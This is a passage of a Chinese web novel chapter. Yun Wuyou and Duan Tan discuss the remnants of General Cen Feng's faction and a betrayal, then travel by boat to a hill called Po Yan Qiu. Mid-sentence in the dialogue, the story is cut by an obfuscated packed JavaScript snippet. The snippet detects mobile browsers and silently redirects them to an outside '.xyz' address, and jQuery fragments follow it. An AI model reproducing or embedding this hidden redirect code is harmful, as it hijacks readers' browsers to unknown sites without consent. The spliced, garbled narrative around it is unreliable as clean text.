云无忧点点头,不欲让段檀深究此事,没再多言,转而关心他道:“小王爷方才动武,没牵扯到伤势吧?”
段檀道:“我无碍。”
紧接着又像给云无忧上眼药似的:“那天诏狱外刺杀我们的,是岑丰手下最顽固的一批残党,他们背后,也有杨遥臣的影子。”
云无忧对他的意图全然不察,思量着朝中局势,眉心微蹙道:“岑大将军残党行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508689|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刺杀之事是为了报仇,但信平侯为何会掺和其中,他对岑大将军似乎没那么忠心吧?”
段檀眼中划过一道冷芒:“忠心?他早就想将岑丰拉下马了,只不过后来我思及霍冲的身世接过了此事,他才没动手。
岑丰被废为庶人的时候,他没少推波助澜,至于诏狱刺杀之事,既能消耗岑党死忠,又能给我使绊子,一石二鸟,他何乐而不为。”
云无忧闻言脑海中仿佛划过了什么,沉吟许久后突然道:“所以我卖身那会儿,小王爷承诺要为信平侯办的事,就是杀岑大将军。”
怪不得先前杨弈根本不在意她听到刺杀良王的密谋,怪不得前些日子她能在良王府看见杨弈,这个岑党中坚都暗通良王倒岑了,岑大将军真是死得不冤。
段檀抿唇,并未否认她的猜测。
重逢之后,他已经对过往撒下弥天大谎,所以愈发不愿在旁的事上再有虚言。
见段檀默认,云无忧顿了顿,语气有些意味不明:“拿本就要做的事与人交易,小王爷也是一石二鸟啊。”
从前是她小瞧了段檀,这京中王公贵族谁也不是省油的灯,都是一丘之貉。
云无忧目光冷了下来,脸上有淡淡的自嘲,她竟然不知道什么时候,对一个上位者降低了防备,以至于如今得知真相,心中甚至生出失望之感,简直笑话。
她行走间渐渐与段檀拉远了距离,段檀停下脚步,双目幽沉,盯着她的背影,感受到她对自己显而易见的疏离,心内涌上铺天盖地的阴霾。
杨弈对她刀剑相向,她都能无怨无怒,而他不过因势利导,就被横眉冷对。
他竭力压下心间翻涌的戾气,恹恹地揪了揪眉心,抬手召来个暗卫到面前,对其耳语几句。
经过上回长街刺杀一事,如今他身边常有暗卫随行。
暗卫领命消失后,段檀大步上前抓住云无忧的手腕,一路无言,拽着她到杨柳渡乘舟,浮于贯通整个京城的胭脂河之上。
舟中,船夫立于船头,手持长桨悠悠划动,段檀盘膝坐在中段,云无忧则避开段檀,卧在船尾微微侧过身子,伸手去触胭脂河寒凉的河水,面上略有慨色。
齐婴与她闲谈时曾说过,这胭脂河在前朝本叫澞水。
当年武阳长公主拱卫京师时,因城里留守的男丁甚少,便建起一支娘子军来守城关。
首战虽扭转败局守住了城池,却惨烈无比,军中女子死伤过半,以至于连澞水都被红颜血染作胭脂色,见者无不垂泪。
自那以后,澞水便改叫胭脂河,而那支娘子军,则是后来武阳长公主手下红缨军的雏形。
过了许久,小舟到达京郊一处高起的山丘,段檀停船,二人攀至山丘最高处,在一块几乎被蔓草吞没的大石旁驻足。
大石旁此刻搁着几壶酒,云无忧在良王府见过,据说有市无价,或许是段檀之前吩咐过的,但……酒壶旁边那个关着几只大雁的鸟笼,也是段檀安排的?
用活大雁下酒?段檀还有这嗜好?
云无忧目光有些古怪地望向段檀,却见段檀正挥刀除去大石上覆盖的蔓草,伴随他动作,石头上歪歪扭扭的字迹渐渐显现。
云无忧站在一旁努力辨认道:“泊、雁、丘。”